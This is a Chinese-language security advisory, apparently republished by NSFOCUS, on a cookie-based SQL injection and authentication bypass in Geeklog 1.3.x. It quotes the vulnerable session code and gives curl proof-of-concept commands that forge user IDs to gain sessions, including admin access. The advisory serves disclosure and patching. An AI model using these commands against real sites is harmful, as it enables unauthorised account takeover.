首页 -> 安全研究

安全研究

安全漏洞
Geeklog用户验证Cookie SQL注入漏洞

发布日期:2003-05-29
更新日期:2003-06-16

受影响系统:
Geeklog geeklog 1.3.7 sr1
Geeklog geeklog 1.3.7
Geeklog geeklog 1.3.5 sr2
Geeklog geeklog 1.3.5 sr1
Geeklog geeklog 1.3.5
Geeklog geeklog 1.3
不受影响系统:
Geeklog geeklog 1.3.7 sr2
描述:
BUGTRAQ  ID: 7742

Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。

Geeklog由于没有充分检查用户提交的Cookie值,远程攻击者可以利用这个漏洞通过注入SQL代码破坏GEEKLOG系统,或对数据库进行攻击。

lib-sessions.php包含如下代码:

      if (isset($HTTP_COOKIE_VARS[$_CONF['cookie_name']])) {
           // 会话COOKIE不存在但有一个永久COOKIE.
           // 开始一个新会话COOKIE;
           if ($_SESS_VERBOSE) {
               COM_errorLog('perm cookie found from lib-common.php',1);
           }


           $userid = $HTTP_COOKIE_VARS[$_CONF['cookie_name']];
           $cookie_password = $HTTP_COOKIE_VARS[$_CONF['cookie_password']];


           //echo $userid;


           $userpass = DB_getItem($_TABLES['users'],'passwd',"uid = $userid");


           if ($cookie_password <> $userpass) {
               // 用户可以修改COOKIE中的UID


           } else {
               if ($userid) {
                   $user_logged_in = 1;
                   //echo $userid;
                   // Create new session and write cookie
                   $sessid = SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']);
                   SESS_setSessionCookie($sessid, $_CONF['session_cookie_timeout'], $_CONF['cookie_session'], $_CONF['cookie_path'], $_CONF['cookiedomain'], $_CONF['cookiesecure']);
                   $userdata = SESS_getUserDataFromId($userid);
                   $_USER = $userdata;
               }
           }
       }

DB_getItem($_TABLES['users'],'passwd',"uid = $userid"); 会执行"SELECT passwd from $_TABLES['users'] where uid=$userid",当我们提供不存在用户通过($cookie_password <> $userpass)传递,可导致 $userpass和$cookie_password为NULL,如

curl -b geeklog=9999 http://blablaba/users.php

SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']); 就执行如下SQL命令:

"INSERT INTO {$_TABLES['sessions']} (sess_id, md5_sess_id, uid, start_time, remote_ip) VALUES ($sessid, '$md5_sessid', 9999, $currtime, '$remote_ip')"

这样USER 9999的合法会话就插入到数据库中了。

另外攻击者如果提供浮点数作为userid,用户可以以任意geeklog用户登录。由于userid在数据库是整数值,提供浮点数就可以使$userpass为NULL值。

<*来源:pokleyzz (pokleyzz@scan-associates.net
  
  链接:http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0092.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

pokleyzz (pokleyzz@scan-associates.net)提供了如下测试方法:

curl -b geeklog=2.1 -D header.txt http://blablaba/users.php

其中header.txt包含如下内容,需要包含admin的合法会话:

----------------header.txt -------------------------


HTTP/1.1 200 OK
Date: Sat, 17 May 2003 16:15:23 GMT
Server: Apache
Set-Cookie: gl_session=1828197392; path=/
Set-Cookie: LastVisit=1053188123; expires=Sun, 16-May-2004 16:15:23 GMT;
path=/
Set-Cookie: LastVisitTemp=deleted; expires=Fri, 17-May-2002 16:15:22
GMT; path=/; domain=http://blablabla/
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1


10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa



----------------header.txt --------------------------

建议:
厂商补丁:

Geeklog
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Geeklog Upgrade Geeklog 1.3.7 sr2
http://www.geeklog.net/filemgmt/visit.php?lid=157

浏览次数:3103
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障